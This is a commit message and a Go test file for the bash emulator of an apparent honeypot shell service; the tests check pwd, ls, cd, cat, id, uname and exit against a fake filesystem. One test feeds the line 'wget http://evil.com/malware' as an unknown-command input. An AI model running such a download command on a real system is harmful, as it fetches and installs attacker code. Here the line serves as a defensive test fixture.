feat: add shell interface, registry, and bash shell emulator

Implement Phase 1.4: replaces the hardcoded banner/timeout stub with a
proper shell system. Adds a Shell interface with weighted registry for
shell selection, a RecordingChannel wrapper (pass-through for now, prep
for Phase 2.3 replay), and a bash-like shell with fake filesystem,
terminal line reader, and command handling (pwd, ls, cd, cat, whoami,
hostname, id, uname, exit). Sessions now log command/output pairs to
the store and record the shell name.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

internal/shell/bash/commands_test.go

@@ -0,0 +1,201 @@
+package bash
+
+import (
+	"strings"
+	"testing"
+)
+
+func newTestState() *shellState {
+	fs := newFilesystem("testhost")
+	return &shellState{
+		cwd:      "/root",
+		username: "root",
+		hostname: "testhost",
+		fs:       fs,
+	}
+}
+
+func TestCmdPwd(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "pwd")
+	if r.output != "/root" {
+		t.Errorf("pwd = %q, want %q", r.output, "/root")
+	}
+}
+
+func TestCmdWhoami(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "whoami")
+	if r.output != "root" {
+		t.Errorf("whoami = %q, want %q", r.output, "root")
+	}
+}
+
+func TestCmdHostname(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "hostname")
+	if r.output != "testhost" {
+		t.Errorf("hostname = %q, want %q", r.output, "testhost")
+	}
+}
+
+func TestCmdId(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "id")
+	if !strings.Contains(r.output, "uid=0(root)") {
+		t.Errorf("id output = %q, want uid=0(root)", r.output)
+	}
+}
+
+func TestCmdUnameBasic(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "uname")
+	if r.output != "Linux" {
+		t.Errorf("uname = %q, want %q", r.output, "Linux")
+	}
+}
+
+func TestCmdUnameAll(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "uname -a")
+	if !strings.HasPrefix(r.output, "Linux testhost") {
+		t.Errorf("uname -a = %q, want prefix 'Linux testhost'", r.output)
+	}
+}
+
+func TestCmdLs(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "ls")
+	if r.output == "" {
+		t.Error("ls should return non-empty output")
+	}
+}
+
+func TestCmdLsPath(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "ls /etc")
+	if !strings.Contains(r.output, "passwd") {
+		t.Errorf("ls /etc = %q, should contain 'passwd'", r.output)
+	}
+}
+
+func TestCmdLsNonexistent(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "ls /nope")
+	if !strings.Contains(r.output, "No such file") {
+		t.Errorf("ls /nope = %q, should contain 'No such file'", r.output)
+	}
+}
+
+func TestCmdCd(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "cd /tmp")
+	if r.output != "" {
+		t.Errorf("cd /tmp should produce no output, got %q", r.output)
+	}
+	if state.cwd != "/tmp" {
+		t.Errorf("cwd = %q, want %q", state.cwd, "/tmp")
+	}
+}
+
+func TestCmdCdNonexistent(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "cd /nope")
+	if !strings.Contains(r.output, "No such file") {
+		t.Errorf("cd /nope = %q, should contain 'No such file'", r.output)
+	}
+}
+
+func TestCmdCdNoArgs(t *testing.T) {
+	state := newTestState()
+	state.cwd = "/tmp"
+	dispatch(state, "cd")
+	if state.cwd != "/root" {
+		t.Errorf("cd with no args should go to /root, got %q", state.cwd)
+	}
+}
+
+func TestCmdCdRelative(t *testing.T) {
+	state := newTestState()
+	state.cwd = "/var"
+	dispatch(state, "cd log")
+	if state.cwd != "/var/log" {
+		t.Errorf("cwd = %q, want %q", state.cwd, "/var/log")
+	}
+}
+
+func TestCmdCdDotDot(t *testing.T) {
+	state := newTestState()
+	state.cwd = "/var/log"
+	dispatch(state, "cd ..")
+	if state.cwd != "/var" {
+		t.Errorf("cwd = %q, want %q", state.cwd, "/var")
+	}
+}
+
+func TestCmdCat(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "cat /etc/hostname")
+	if !strings.Contains(r.output, "testhost") {
+		t.Errorf("cat /etc/hostname = %q, should contain 'testhost'", r.output)
+	}
+}
+
+func TestCmdCatNonexistent(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "cat /nope")
+	if !strings.Contains(r.output, "No such file") {
+		t.Errorf("cat /nope = %q, should contain 'No such file'", r.output)
+	}
+}
+
+func TestCmdCatDirectory(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "cat /etc")
+	if !strings.Contains(r.output, "Is a directory") {
+		t.Errorf("cat /etc = %q, should contain 'Is a directory'", r.output)
+	}
+}
+
+func TestCmdCatMultiple(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "cat /etc/hostname /root/README.txt")
+	if !strings.Contains(r.output, "testhost") || !strings.Contains(r.output, "DO NOT MODIFY") {
+		t.Errorf("cat multiple files = %q, should contain both file contents", r.output)
+	}
+}
+
+func TestCmdExit(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "exit")
+	if !r.exit {
+		t.Error("exit should set exit=true")
+	}
+}
+
+func TestCmdLogout(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "logout")
+	if !r.exit {
+		t.Error("logout should set exit=true")
+	}
+}
+
+func TestCmdNotFound(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "wget http://evil.com/malware")
+	if !strings.Contains(r.output, "command not found") {
+		t.Errorf("unknown cmd = %q, should contain 'command not found'", r.output)
+	}
+	if !strings.HasPrefix(r.output, "wget:") {
+		t.Errorf("unknown cmd = %q, should start with 'wget:'", r.output)
+	}
+}
+
+func TestCmdEmptyLine(t *testing.T) {
+	state := newTestState()
+	r := dispatch(state, "")
+	if r.output != "" || r.exit {
+		t.Errorf("empty line should produce no output and not exit")
+	}
+}